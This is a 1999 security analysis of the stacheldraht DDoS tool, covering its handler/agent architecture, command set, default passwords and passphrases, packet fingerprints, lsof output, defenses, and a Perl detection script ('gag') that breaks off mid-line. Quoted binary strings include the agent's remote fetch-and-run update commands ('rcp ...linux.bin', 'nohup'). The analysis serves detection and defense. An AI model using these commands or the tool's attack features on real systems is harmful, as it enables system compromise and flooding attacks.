========================================================================== The "stacheldraht" distributed denial of service attack tool ========================================================================== David Dittrich University of Washington Copyright 1999. All rights reserved. December 31, 1999 Introduction ------------ The following is an analysis of "stacheldraht", a distributed denial of service attack tool, based on source code from the "Tribe Flood Network" distributed denial of service attack tool. [Note that throughout this analysis, actual nicks, site names, and IP addresses have been sanitized.] Stacheldraht (German for "barbed wire") combines features of the "trinoo" distributed denial of service tool, with those of the original TFN, and adds encryption of communication between the attacker and stacheldraht masters and automated update of the agents. For more information on trinoo and TFN, see: http://staff.washington.edu/dittrich/misc/trinoo.analysis http://staff.washington.edu/dittrich/misc/tfn.analysis In late June and early July of 1999, one or more groups were installing and testing trinoo networks and waging medium to large scale denial of service attacks employing networks of over 2000 compromised systems. These attacks involved, and were aimed at, systems around the globe. In late August/early September of 1999, focus began to shift from trinoo to TFN, presumed to be the original code by Mixter. Then in late September/early October, a program that looked a lot like the TFN agent, known as "stacheldraht", began to show up on systems in Europe and the United States. These attacks prompted CERT to release Incident Note 99-04: http://www.cert.org/incident_notes/IN-99-04.html Like trinoo, stacheldraht is made up of master (handler) and daemon, or "bcast" (agent) programs. The handler/agent terminology was developed at the CERT Distributed System Intruder Tools workshop held in November 1999, and will be used in this analysis instead of the stacheldraht specific terms. It is highly recommended that the CERT workshop report be read as well. See: http://www.cert.org/reports/dsit_workshop.pdf There is some competition to stacheldraht in the form of Mixter's new version of TFN -- Tribe Flood Network 2000, or TFN2K -- released on December 21, 1999. For more on TFN2K, See: http://packetstorm.securify.com/distributed/ http://www.cert.org/advisories/CA-99-17-denial-of-service-tools.html Along with trinoo's handler/agent features, stacheldraht also shares TFN's features of distributed network denial of service by way of ICMP flood, SYN flood, UDP flood, and "Smurf" style attacks. Unlike the original TFN and TFN2K, the analyzed stacheldraht code does not contain the "on demand" root shell bound to a TCP port (it may be based on earlier TFN code than was made public by Mixter in mid-1999). One of the weaknesses of TFN was that the attacker's connection to the master(s) that control the network was in clear-text form, and was subject to standard TCP attacks (session hijacking, RST sniping, etc.) Stacheldraht deals with this by adding an encrypting "telnet alike" (stacheldraht term) client. Stacheldraht agents were originally found in binary form on a number of Solaris 2.x systems, which were identified as having been compromised by exploitation of buffer overrun bugs in the RPC services "statd", "cmsd" and "ttdbserverd". They have been witnessed "in the wild" as late as the writing of this analysis. After publishing analyses of trinoo and Tribe Flood Network on Bugtraq in December 1999, an incident investigator at another institution provided stacheldraht source code that was obtained from a file cache in a stolen account. (I would like to thank this investigator, and also thank the folks at SecurityFocus for providing the open forum that allowed this to occur.) This analysis was done using this captured source code (labelled version 1.1, with source file modification dates ranging from 8/15/1999 to 10/17/1999). The Makefiles contain rules for Linux and Solaris, with the default being Linux (even though it appears that the code does not work very reliably on Linux). For the purposes of this analysis, all programs were compiled and run on Red Hat Linux 6.0 systems. As far as I am aware, the agent has been witnessed "in the wild" only on Solaris 2.x systems. One thing that may not have been clearly stated in the analyses done on trinoo and Tribe Flood Network is that distributed denial of service attacks are two phase attacks, with "victims" and "attackers" that are defined depending on your point of view. There is an initial mass-intrusion phase, in which automated tools are used to remotely root compromise large numbers (i.e., in the several hundred to several thousand ranges) and the distributed denial of service agents are installed on these compromised systems. These are primary victims (of system compromise.) None of these distributed denial of service tools have any features that facilitate compromising systems, and these automated tools are held closely by those groups who wrote them. The mass-instrusion phase is followed by the actual denial of service attack phase, in which these compromised systems which constitute the handlers and agents of the distributed attack network are used to wage massive denial of service attacks against one or more sites. These are secondary victims (of denial of service). [For an description of the methods used in the initial intrusion and network setup phases, see the analysis of the trinoo network, referenced in Appendix A.] Remember that modification of the source code can and would change any of the details of this analysis, such as prompts, passwords, commands, TCP/UDP port numbers, or supported attack methods, signatures, and features. The network: client(s)-->handler(s)-->agent(s)-->victim(s) ------------------------------------------------------------ The stacheldraht network is made up of one or more handler programs ("mserv.c") and a large set of agents ("leaf/td.c"). The attacker uses an encrypting "telnet alike" program to connect to and communicate with the handlers ("telnetc/client.c"). A stacheldraht network would look like this: +--------+ +--------+ | client | | client | +--------+ +--------+ | | . . . --+------+---------------+------+----------------+-- . . . | | | | | | +-----------+ +-----------+ +-----------+ | handler | | handler | | handler | +-----------+ +-----------+ +-----------+ | | | | | | . . . ---+------+-----+------------+---+--------+------------+-+-- . . . | | | | | | | | | | +-------+ +-------+ +-------+ +-------+ +-------+ | agent | | agent | | agent | | agent | | agent | +-------+ +-------+ +-------+ +-------+ +-------+ The attacker(s) control one or more handlers using encrypting clients. Each handler can control many agents. (There is an internal limit in the "mserv.c" code to 1000 agents. This is most likely to ensure the number of open file handles, commonly 1024, is not exceeded by the program. Thanks to Adam C. Greenfield for pointing this out. Besides, the code says that "1000 sockets are leet0.") The agents are all instructed to coordinate a packet based attack against one or more victim systems by the handler (referred to as an "mserver" or "master server" in the code.) Communication ------------- Client to handler(s): 16660/tcp Handler to/from agent(s): 65000/tcp, ICMP ECHO_REPLY Unlike trinoo, which uses UDP for communication between handlers and agents, or the original Tribe Flood Network, which uses ICMP for communication between the handler and agents, stacheldraht uses TCP and ICMP. Remote control of a stacheldraht network is accomplished using a simple client that uses symmetric key encryption for communication between itself and the handler. The client accepts a single argument, the address of the handler to which it should connect. It then connects using a TCP port (default 16660/tcp in the analyzed code). The attacker sees the following (if the proper password is given): --------------------------------------------------------------------------- # ./client 192.168.0.1 [*] stacheldraht [*] (c) in 1999 by ... trying to connect... connection established. -------------------------------------- enter the passphrase : sicken -------------------------------------- entering interactive session. ****************************** welcome to stacheldraht ****************************** type .help if you are lame stacheldraht(status: a!1 d!0)> --------------------------------------------------------------------------- The prompt shows the number of agents that are believed to be active ("a!") and dead ("d!") at the time. Using the command ".help" (let's assume, for the sake of argument, that we are lame) shows the supported command set: --------------------------------------------------------------------------- stacheldraht(status: a!1 d!0)>.help available commands in this version are: -------------------------------------------------- .mtimer .mudp .micmp .msyn .msort .mping .madd .mlist .msadd .msrem .distro .help .setusize .setisize .mdie .sprange .mstop .killall .showdead .showalive -------------------------------------------------- stacheldraht(status: a!1 d!0)> --------------------------------------------------------------------------- Commands -------- .distro user server Instructs the agent to install and run a new copy of itself using the Berkeley "rcp" command, on the system "server", using the account "user" (e.g., "rcp user@server:linux.bin ttymon") .help Prints a list of supported commands. .killall Kills all active agents. .madd ip1[:ip2[:ipN]] Add IP addresses to list of attack victims. .mdie Sends die request to all agents. .mdos Begins DoS attack. .micmp ip1[:ip2[:ipN]] Begin ICMP flood attack against specified hosts. .mlist List IP addresses of hosts being DoS attacked at the moment. .mping Pings all agents (bcasts) to see if they are alive. .msadd Adds a new master server (handler) to the list of available servers. .msort Sort out dead/alive agents (bcasts). (Sends pings and shows counts/percentage of dead/alive agents). .mstop ip1[:ip2[:ipN]] .mstop all Stop attacking specific IP addresses, or all. .msrem Removes a master server (handler) from the list of available servers. .msyn ip1[:ip2[:ipN]] Begin SYN flood attack against specified hosts. .mtimer seconds Set timer for attack duration. (No checks on this value.) .mudp ip1[:ip2[:ipN]] Begin UDP flood attack against specified hosts. (Trinoo DoS emulation mode.) .setisize Sets size of ICMP packets for flooding. (max:1024, default:1024). .setusize Sets size of UDP packets for flooding (max:1024, default:1024). .showalive Shows all "alive" agents (bcasts). .showdead Shows all "dead" agents (bcasts). .sprange lowport-highport Sets the range of ports for SYN flooding (defaults to lowport:0, highport:140). Password protection ------------------- After connecting to the handler using the client program, the attacker is prompted for a password. This password (default "sicken" in the analyzed code) is a standard crypt() encrypted password, which is then Blowfish encrypted using the passphrase "authentication" before being sent over the network to the handler (*all* communication between the agent and handler is Blowfish encrypted with this passphrase.) Like TFN, C macros ("config.h") define values used for expressing commands, replacement argument vectors ("HIDEME" and "HIDEKIDS") to conceal program names, etc.: --------------------------------------------------------------------------- #ifndef _CONFIG_H /* user defined values for the teletubby flood network */ #define HIDEME "(kswapd)" #define HIDEKIDS "httpd" #define CHILDS 10 /* These are like passwords, you might want to change them */ #define ID_SHELL 1 /* to bind a rootshell */ #define ID_ADDR 699 /* ip add request for the flood server */ #define ID_SETPRANGE 2007 /* set port range for synflood */ #define ID_SETUSIZE 2006 /* set udp size */ #define ID_SETISIZE 2005 /* set icmp size */ #define ID_TIMESET 2004 /* set the flood time */ #define ID_DIEREQ 2003 /* shutdown request of the masterserver */ #define ID_DISTROIT 2002 /* distro request of the master server */ #define ID_REMMSERVER 2001 /* remove added masterserver */ #define ID_ADDMSERVER 2000 /* add new masterserver request */ #define SPOOF_REPLY 1000 /* spoof test reply of the master server #define ID_TEST 668 /* test of the master server */ #define ID_ICMP 1055 /* to icmp flood */ #define ID_SENDUDP 2 /* to udp flood */ #define ID_SENDSYN 3 /* to syn flood */ #define ID_SYNPORT 4 /* to set port */ #define ID_STOPIT 5 /* to stop flooding */ #define ID_SWITCH 6 /* to switch spoofing mode */ #define ID_ACK 7 /* for replies to the client */ #define _CONFIG_H #endif --------------------------------------------------------------------------- As you can see, it is recommended that these be changed to prevent someone stumbling across the agents from knowing what values are used, thereby allowing them to execute agent commands. Fingerprints ------------ As with trinoo and Tribe Flood Network, the methods used to install the handler/agent will be the same as installing any program on a compromised Unix system, with all the standard options for concealing the programs and files (e.g., use of hidden directories, "root kits", kernel modules, etc.) One feature of stacheldraht not shared by trinoo or TFN is the ability to upgrade the agents on demand. This feature employs the Berkeley "rcp" command (514/tcp), using a stolen account at some site as a cache. On demand, all agents are instructed to delete the current program image, go out and get a new copy (either Linux- or Solaris-specific binary) from a site/account using "rcp", start running this new image with "nohup", and then exit. As for identifying the programs in the file system, there are (provided they are not edited out) some discernible strings. Strings embedded in the encrypting client ("client") include the following: ------------------------------------------------------------------------------ . . . connection closed. usage: ./sclient [*] stacheldraht [*] (c) in 1999 by ... trying to connect... unable to resolv %s unable to connect. connection established. -------------------------------------- enter the passphrase : authentication failed authentication failed. entering interactive session. ./0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ huhu . . . ------------------------------------------------------------------------------ Strings embedded in the handler ("mserv") include the following: ------------------------------------------------------------------------------ . . . %d.%d.%d.%d jbQ4yQaKLbFZc * mtimer reached * .quit exiting... you need to stop the packet action first. .help .version [*]stacheldraht[*] mserver version: 1.1 setusize setisize mdos mping mudp micmp msyn mstop mtimer madd mlist msort msadd msrem distro sprange killall showdead showalive add some bcasts mofo. killing all active childs... usage: .sprange example: .sprange 0-140 low port is : %i high port is : %i request was sent to the network. usage: .setusize current udp packet size is %ibytes udp packet size was set to %i bytes. udp packet size is too large. usage: .setisize current icmp packet size is %ibytes icmp packet size was set to %i bytes. icmp packet size is too large. sending mass die request... finished. .mudp starting trinoo emulation... removing useful commands. - DONE - available commands in this version are: -------------------------------------------------- .mtimer .mudp .micmp .msyn .msort .mping .madd .mlist .msadd .msrem .distro .help .setusize .setisize .mdie .sprange .mstop .killall .showdead .showalive usage: .distro remember : the distro files need to be executable! that means: chmod +x linux.bin , chmod +x sol.bin ;)) sending distro request to all bcasts.... user : %s rcp server : unable to resolve - %s unable to send distro request. request was sent, wait some minutes ;) usage: .msrem removing masterserver - failed. usage: .msadd adding masterserver - no packet action at the moment, sir. the followings ip(s) are getting packeted... -------------------------------------------- [*] stacheldraht [*] is packeting %d ips [*] stacheldraht [*] is packeting 1 ip .mstop all deleting from packetlist... %s - removed. %s - skipped. restarting packeting routines... niggahbitch usage: .madd adding to packetlist... %s - added. usage: .mtimer packet timer was set to %d seconds usage: .mstop or packeting stopped. usage: .msyn the net is already packeting. mass syn flooding %i floodrequests were sent to %i bcasts. usage: .micmp mass icmp bombing usage: .mudp mass udp bombing tR1n00(status: a!%i d!%i)> stacheldraht(status: a!%i d!%i)> waiting for ping replies... total bcasts : %d - 100% alive bcasts : 0 - 0% alive bcasts : %d - %d% dead bcasts : %d - %d% showing the alive bcasts... --------------------------- alive bcasts: %i showing the dead bcasts... -------------------------- dead bcasts: %i sorting out all the dead bcasts ------------------------------- %d dead bcasts were sorted out. bcasts [*]-stacheldraht-[*] - forking in the background... %i bcasts were successfully read in. 3.3.3.3 spoofworks ficken authentication failed ****************************** welcome to stacheldraht type .help if you are lame ./0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ huhu [0;35mTribe Flood Network (c) 1999 by [5mMixter . . . ------------------------------------------------------------------------------ Strings embedded in the agent ("td") include the following: ------------------------------------------------------------------------------ . . . %d.%d.%d.%d ICMP Error sending syn packet. tc: unknown host 3.3.3.3 mservers randomsucks skillz ttymon rm -rf %s rcp %s@%s:linux.bin %s nohup ./%s 1.1.1.1 127.0.0.1 lpsched no masterserver config found. using default ones. available servers: %i - working servers : 0 [*] stacheldraht [*] installation failed. found a working [*] stacheldraht [*] masterserver. masterserver is gone, looking for a new one sicken in.telne ./0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ . . . ------------------------------------------------------------------------------ When each agent starts up, it attempts to read a master server configuration file to learn which handler(s) may control it. This file is a list of IP addresses, encrypted using Blowfish, with a passphrase of "randomsucks". Failing to find a configuration file, there are one or more default handler IP addresses compiled into the program (shown above as "1.1.1.1" and "127.0.0.1" - these will obviously be changed). Once the agent has determined a list of potential handlers, it then starts at the beginning of the list of handlers and sends an ICMP ECHO_REPLY packet with an ID field containing the value 666 and data field containing the string "skillz". If the master gets this packet, it sends back an ECHO_REPLY packet with an ID field containing the value 667 and data field containing the string "ficken". (It should be noted that there appears to be a bug that makes the handler and agent send out some large, e.g., >1000 byte, packets. The handler and agent continue periodically sending these 666|skillz / 667|ficken packets back and forth. This would be one way of detecting agents/masters by passively monitoring these ICMP packets.) Seen with "sniffit" (modified per patches in the TFN analysis), these packets look like this: ------------------------------------------------------------------------------ ICMP message id: 10.0.0.1 > 192.168.0.1 ICMP type: Echo reply 45 E 00 . 04 . 14 . 01 . 0F . 00 . 00 . 40 @ 01 . E9 . 53 S 0A . 00 . 00 . 01 . C0 . A6 . 00 . 01 . 00 . 00 . B4 . 13 . 02 . 9A . 00 . 00 . 00 . 00 . 00 . 00 . 00 . 00 . 00 . 00 . 00 . 00 . 00 . 00 . 00 . 00 . 00 . 00 . 00 . 00 . 00 . 00 . 73 s 6B k 69 i 6C l 6C l 7A z 00 . 00 . 00 . 00 . 00 . 00 . 00 . 00 . 00 . 00 . 00 . 00 . 00 . 00 . 00 . 00 . 00 . 00 . 00 . 00 . 00 . 00 . 00 . 00 . 00 . 00 . . . . [60 lines of zeros deleted] 00 . 00 . 00 . 00 . ICMP message id: 192.168.0.1 > 10.0.0.1 ICMP type: Echo reply 45 E 00 . 04 . 14 . 04 . F8 . 00 . 00 . 40 @ 01 . E5 . 6A j C0 . A6 . 00 . 01 . 0A . 00 . 00 . 01 . 00 . 00 . CE . 21 ! 02 . 9B . 00 . 00 . 00 . 00 . 00 . 00 . 00 . 00 . 00 . 00 . 00 . 00 . 00 . 00 . 00 . 00 . 00 . 00 . 00 . 00 . 00 . 00 . 66 f 69 i 63 c 6B k 65 e 6E n 00 . 00 . 00 . 00 . 00 . 00 . 00 . 00 . 00 . 00 . 00 . 00 . 00 . 00 . 00 . 00 . 00 . 00 . 00 . 00 . 00 . 00 . 00 . 00 . 00 . 00 . . . . [60 lines of zeros deleted] 00 . 00 . 00 . 00 . ------------------------------------------------------------------------------ Seen with "ngrep", it would look like this: ------------------------------------------------------------------------------ # ngrep -x "*" icmp interface: eth0 (0.0.0.0/0.0.0.0) filter: ip and ( icmp ) Kernel filter, protocol ALL, raw packet socket match: * # I 10.0.0.1 -> 192.168.0.1 0:0 02 9a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00 00 00 00 00 00 00 00 73 6b 69 6c 6c 7a 00 00 ........skillz.. [ 61 lines of zeroes deleted ] 00 00 00 00 00 00 00 00 00 00 00 00 ............ # I 192.168.0.1 -> 10.0.0.1 0:0 02 9b 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00 00 00 00 00 00 00 00 66 69 63 6b 65 6e 00 00 ........ficken.. [ 61 lines of zeroes deleted ] 00 00 00 00 00 00 00 00 00 00 00 00 ............ # ------------------------------------------------------------------------------ While "ngrep" is easier to use and more concise in its output than "tcpdump" / "tcpshow", it does not run on as many systems, e.g., Digital Unix 4.x, in the current version (1.35 at the time of writing this document). In addition to finding an active handler, the agent performs a test to see if the network on which the agent is running allows packets to exit with forged source addresses. It does this by sending out an ICMP ECHO_REPLY packet with a forged IP address of "3.3.3.3", an ID of 666, and the IP address of the agent system (obtained by getting the hostname, then resolving this to an IP address) in the data field of the ICMP packet. (Note that it also sets the Type of Service field to 7 on this particular packet, while others have a ToS value of 0.) If the master receives this packet, it replies to the IP address embedded in the packet with an ECHO_REPLY packet containing an ID of 1000 and the word "spoofworks" in the data field. If the agent receives this packet, it sets a spoof_level of 0 (can spoof all 32 bits of IP address). If it times out before receiving a spoof reply packet, it sets a spoof_level of 3 (can only spoof the final octet). These packets (as seen by "tcpdump" and "ngrep") are shown here: ------------------------------------------------------------------------------ # tcpdump icmp . . . 14:15:35.151061 3.3.3.3 > 192.168.0.1: icmp: echo request [tos 0x7] 14:15:35.177216 192.168.0.1 > 10.0.0.1: icmp: echo reply . . . # ngrep -x "*" icmp interface: eth0 (0.0.0.0/0.0.0.0) filter: ip and ( icmp ) Kernel filter, protocol ALL, raw packet socket match: * # I 3.3.3.3 -> 192.168.0.1 8:0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00 00 00 00 00 00 00 00 31 30 2e 30 2e 30 2e 31 ........10.0.0.1 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00 00 00 00 00 00 00 00 ........ # I 192.168.0.1 -> 10.0.0.1 0:0 03 e8 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00 00 00 00 00 00 00 00 73 70 6f 6f 66 77 6f 72 ........spoofwor 6b 73 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ks.............. [ 60 lines of zeroes deleted ] 00 00 00 00 00 00 00 00 00 00 00 00 ............ # ------------------------------------------------------------------------------ There is also a code to perform an ID test, sending an ICMP ECHO_REPLY packet with an ID field value of 669, and the string "sicken\n" in the data field. This code is triggered if the handler is sent an ICMP ECHO_REPLY packet with an ID field containing the value 668. The program "gag" (see Appendix A) will allow you to probe for stacheldraht agents, which will show up with "ngrep" like this: ------------------------------------------------------------------------------ # ngrep -x "*" icmp interface: eth0 (0.0.0.0/0.0.0.0) filter: ip and ( icmp ) Kernel filter, protocol ALL, raw packet socket match: * # I 10.0.0.2 -> 198.162.0.1 0:0 02 9c 00 00 67 65 73 75 6e 64 68 65 69 74 21 ....gesundheit! # I 198.162.0.1 -> 10.0.0.2 0:0 02 9d 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00 00 00 00 00 00 00 00 73 69 63 6b 65 6e 0a 00 ........sicken.. [ 61 lines of zeroes deleted ] 00 00 00 00 00 00 00 00 00 00 00 00 ............ ------------------------------------------------------------------------------ The script "gag" would be used like this. First, build a list of all suspect systems (e.g., do an "nmap" OS detection scan and find all Solaris and Linux systems on your network, or just scan the entire network and find all active IP addresses). Start "tcpdump" to capture all the potential replies for later use. Then start "gag", passing it this list of IP addresses to check. ------------------------------------------------------------------------------ # tcpdump -s 1500 -w stach.dump 'icmp[4:2] = 669' # ./gag -v iplist sending packet [668/"gesundheit!"] to 192.168.0.1 sending packet [668/"gesundheit!"] to 192.168.0.30 sending packet [668/"gesundheit!"] to 192.168.1.2 sending packet [668/"gesundheit!"] to 192.168.1.5 sending packet [668/"gesundheit!"] to 192.168.2.10 sending packet [668/"gesundheit!"] to 192.168.3.6 . . . ------------------------------------------------------------------------------ To see the list of systems that returned ICMP ECHO_REPLY packets with ID 669, do the following: ------------------------------------------------------------------------------ # tcpdump -r stach.dump tcpdump: Filtering in user process 15:27:57.520094 192.168.0.1 > 10.0.0.1: icmp: echo reply (DF) 15:28:01.984660 192.168.2.10 > 10.0.0.1: icmp: echo reply (DF) ------------------------------------------------------------------------------ To actually see the packet contents to confirm "sicken\n" is included, you can do the following: ------------------------------------------------------------------------------ # tcpshow < stach.dump | egrep "Source IP|sicken" tcpdump: Filtering in user process Source IP Address: 198.162.0.1 ....................sicken Source IP Address: 192.168.2.10 ....................sicken ------------------------------------------------------------------------------ [There are more elegant ways of doing this, like writing a robust and feature filled C program with libnet (see Appendix B for reference), but there wasn't enough time before Y2K eve to get elegant. What the heck. Dirty works fine for me. I found three agents when I ran it "live."] The strings "skillz", "spoofworks", "sicken", "niggahbitch", and "ficken" -- all sent in ICMP data segments -- are not encrypted, so are visible in the data portion of ICMP ECHO_REPLY packets. The ID values 666, 667, 668, 669, and 1000 would also be easily identifiable in the packet flow using "ngrep", or the other methods above. The stacheldraht handler, which forks to handle commands and listen for ICMP packets, is seen on the system with "lsof" like this: ------------------------------------------------------------------------------ # lsof -c mserv COMMAND PID USER FD TYPE DEVICE SIZE NODE NAME mserv 1072 root cwd DIR 3,3 2048 40961 /tmp/... mserv 1072 root rtd DIR 3,3 1024 2 / mserv 1072 root txt REG 3,3 50506 41421 /tmp/.../mserv mserv 1072 root mem REG 3,3 342206 30722 /lib/ld-2.1.1.so mserv 1072 root mem REG 3,3 63878 30731 /lib/libcrypt-2.1.1.so mserv 1072 root mem REG 3,3 4016683 30729 /lib/libc-2.1.1.so mserv 1072 root 0u CHR 136,4 6 /dev/pts/4 mserv 1072 root 1u CHR 136,4 6 /dev/pts/4 mserv 1072 root 2u CHR 136,4 6 /dev/pts/4 mserv 1072 root 3u sock 0,0 2143 can't identify protocol mserv 1073 root cwd DIR 3,3 2048 40961 /tmp/... mserv 1073 root rtd DIR 3,3 1024 2 / mserv 1073 root txt REG 3,3 50506 41421 /tmp/.../mserv mserv 1073 root mem REG 3,3 342206 30722 /lib/ld-2.1.1.so mserv 1073 root mem REG 3,3 63878 30731 /lib/libcrypt-2.1.1.so mserv 1073 root mem REG 3,3 4016683 30729 /lib/libc-2.1.1.so mserv 1073 root 0u CHR 136,4 6 /dev/pts/4 mserv 1073 root 1u CHR 136,4 6 /dev/pts/4 mserv 1073 root 2u CHR 136,4 6 /dev/pts/4 mserv 1073 root 3u inet 2144 TCP *:16660 (LISTEN) mserv 1088 root cwd DIR 3,3 2048 40961 /tmp/... mserv 1088 root rtd DIR 3,3 1024 2 / mserv 1088 root txt REG 3,3 50506 41421 /tmp/.../mserv mserv 1088 root mem REG 3,3 342206 30722 /lib/ld-2.1.1.so mserv 1088 root mem REG 3,3 63878 30731 /lib/libcrypt-2.1.1.so mserv 1088 root mem REG 3,3 4016683 30729 /lib/libc-2.1.1.so mserv 1088 root 0u CHR 136,4 6 /dev/pts/4 mserv 1088 root 1u CHR 136,4 6 /dev/pts/4 mserv 1088 root 2u CHR 136,4 6 /dev/pts/4 mserv 1088 root 3r FIFO 0,0 2227 pipe mserv 1088 root 5w FIFO 0,0 2227 pipe mserv 1091 root cwd DIR 3,3 2048 40961 /tmp/... mserv 1091 root rtd DIR 3,3 1024 2 / mserv 1091 root txt REG 3,3 50506 41421 /tmp/.../mserv mserv 1091 root mem REG 3,3 342206 30722 /lib/ld-2.1.1.so mserv 1091 root mem REG 3,3 63878 30731 /lib/libcrypt-2.1.1.so mserv 1091 root mem REG 3,3 4016683 30729 /lib/libc-2.1.1.so mserv 1091 root 0u CHR 136,4 6 /dev/pts/4 mserv 1091 root 1u CHR 136,4 6 /dev/pts/4 mserv 1091 root 2u CHR 136,4 6 /dev/pts/4 mserv 1091 root 3r FIFO 0,0 2240 pipe mserv 1091 root 4u inet 2215 TCP 192.168.0.1:16660->10.0.0.1:1029 (ESTABLISHED) mserv 1091 root 5w FIFO 0,0 2240 pipe ------------------------------------------------------------------------------ The agent, which also forks when in use, looks like this: ------------------------------------------------------------------------------ # lsof -c ttymon COMMAND PID USER FD TYPE DEVICE SIZE NODE NAME ttymon 437 root cwd DIR 3,1 1024 37208 /usr/lib/libx/... ttymon 437 root rtd DIR 3,1 1024 2 / ttymon 437 root txt REG 3,1 324436 37112 /usr/lib/libx/.../ttymon ttymon 437 root mem REG 3,1 243964 29140 /lib/libnss_files-2.1.1.so ttymon 437 root mem REG 3,1 4016683 29115 /lib/libc-2.1.1.so ttymon 437 root mem REG 3,1 342206 28976 /lib/ld-2.1.1.so ttymon 437 root 3u sock 0,0 779 can't identify protocol ttymon 449 root cwd DIR 3,1 1024 37208 /usr/lib/libx/... ttymon 449 root rtd DIR 3,1 1024 2 / ttymon 449 root txt REG 3,1 324436 37112 /usr/lib/libx/.../ttymon ttymon 449 root 0u inet 811 TCP *:32222 (LISTEN) ttymon 449 root 3u sock 0,0 779 can't identify protocol ------------------------------------------------------------------------------ Defenses -------- Because the programs use ICMP_ECHOREPLY packets for communication, it will be very difficult (if not impossible) to block it without breaking most Internet programs that rely on ICMP. The Phrack paper on LOKI states: The only sure way to destroy this channel is to deny ALL ICMP_ECHO traffic into your network. Short of rejecting this traffic, it will instead be necessary to observe the difference between "normal" use of ICMP_ECHO and ICMP_ECHOREPLY packets by programs like "ping". This will not be an easy task, especially on large networks. (See the LOKI paper for more details.) The real defense is to make sure that *all* systems are kept up to date with security patches, unnecessary services are turned off, and competent system administrators are running and monitoring every Unix system on your network. (I'll hold my breath while you go make that happen, OK? ;) Weaknesses ---------- If the source has not been modified, you can identify stacheldraht clients/handlers/agents by the embedded strings shown earlier. The .distro command uses the Berkeley "rcp" command for obtaining updated copies of the agent. Monitoring "rcp" connections (514/tcp) from multiple systems on your network, in quick succession, to a single IP address outside your network would be a good trigger. (Note that the use of "rcp" in a this form requires an anonymous trust relationship, usually in the form of "+ +" in a user's ~/.rhosts file, which also will allow you to immediately archive the contents of this account while contacting the owners to preserve evidence.) The IP spoof test uses a constant source address of "3.3.3.3", and embeds the agent's IP address, exposing it. Watch for this to show up in the source address of outgoing unsolicited ICMP_ECHOREPLY packets. (If you do RFC 2267 style egress filtering, you will have to watch for these packets from somewhere inside your border routers, or on each subnet. Ethernet switches will make this more difficult to do on local subnets, so an intrusion detection system (IDS) just inside your borders would be the best way to do this for your entire network.) Since stacheldraht uses ICMP_ECHOREPLY packets for some of its functioning, and those TCP connections that it uses employ Blowfish encryption of the data stream, it will be difficult to detect stacheldraht in action, and the ICMP_ECHOREPLY packets will go right through most firewalls. You can observe these strings in the data portion of ICMP packets using programs like "ngrep" (see Appendix B), with "sniffit" using the patches provided in the analysis of TFN, or with "tcpshow" modified per the patches in Appendix C. Stacheldraht does not authenticate the source of ICMP packets, and also does not encrypt strings embedded in ICMP packets. If the command values have not been changed from the default, as few as just one packet would be necessary to flush out an agent. Either: a). send an ICMP_ECHOREPLY packet with an ID field value of 668 and watch for an ICMP_ECHOREPLY packet to come back with an ID field value of 669 and the string "sicken\n" in the data field, or b). send an ICMP_ECHOREPLY packet with a source address of "3.3.3.3" (and ID value of 666 and data field with "skillz" if you want to go all out) and watch for an ICMP_ECHOREPLY packet to come back with an ID field value of 1000 and the string "spoofworks" in the data field. (A Perl script using Net::RawIP named "gag" has been developed to accomplish the former. See Appendix A). The next logical evolutionary steps ----------------------------------- When I first started analyzing trinoo source code back in early October, and after having observed TFN binaries in action just after that, it was obvious to me that encryption of communication channels and more automated maintenance of large networks was in active development. Discussions with others at the CERT workshop in November brought out many other new feature ideas that I'm sure the underground is also thinking of. Having now seen the stacheldraht code, and that of yet another unreleased distributed denial of service attack tool (for a total of four different handler/agent distributed DoS tools found "in the wild" this year), the assumptions about the evolution of these tools appear to have been correct, even if the code remains a bit unfinished and with a few bugs (e.g., installations witnessed as late as December 20 continue to include cron entries that re-start the agent every minute!) I can't wait to see what the New Year will bring. ;) :( ?? @#$%^&*!!! -- David Dittrich http://staff.washington.edu/dittrich/ Appendix A - Perl script "gag" to detect stacheldraht agents ------------------------------------------------------------ ------------------------------- cut here ----------------------------------- #!/usr/bin/perl # # gag v. 1.0 # By Dave Dittrich # # Send an ICMP_ECHOREPLY packet with ID of 668 to a stacheldraht # agent, causing it to reply to the sending host with an # ICMP_ECHOREPLY packet with an ID of 669 and the string "sicken\n" # in the data field of the packet. Watch for this with tcpdump, # ngrep, sniffit, etc., e.g.: # # # tcpdump -s 1500 -w stach.dump 'icmp[4:2] = 669' # # tcpshow < stach.dump # or # # ngrep -x '*' 'icmp[4:2] = 669' # # Needs Net::RawIP (http://quake.skif.net/RawIP) # Requires libpcap (ftp://ftp.ee.lbl.gov/libpcap.tar.Z) # # Example: ./gag [options] iplist # # (This code was hacked from the "macof" program, written by # Ian Vitek ) require 'getopts.pl'; use Net::RawIP; require 'netinet/in.ph'; $a = new Net::RawIP({icmp => {}}); chop($hostname = `hostname`); Getopts('a:c:f:i:vh'); die "usage: $0 [options] iplist\ \t-a arg\t\tSend command argument 'arg' (default \"gesundheit!\")\ \t-c val\t\tSend command value 'val' (default 668 - ID_TEST)\ \t-f from_host\t\t(default:$hostname)\ \t-i interface \t\tSet sending interface (default:eth0)\ \t-v\t\t\tVerbose\ \t-h This help\n" unless ( !$opt_h ); # set default values $opt_i = ($opt_i) ? $opt_i : "eth0"; $opt_a = ($opt_a) ? $opt_a : "gesundheit!"; $opt_c = ($opt_c) ? $opt_c : "668"; # choose network card if($opt_e) { $a->ethnew($opt_i, dest => $opt_e); } else { $a->ethnew($opt_i); } $s_host = ($opt_f) ? $opt_f : $hostname; if ($ARGV[0]) { open(I,"<$ARGV[0]") || die "could not open file: '$ARGV[0]'"; while () { chop; push(@list,$_); } close(I); } # Put value in network byte order (couldn't get htons() in # "netinet/in.ph" to work. Go figure.) $id = unpack("S", pack("n", $opt_c)); foreach $d_host (@list) { $a->set({ip => {saddr => $s_host, daddr => 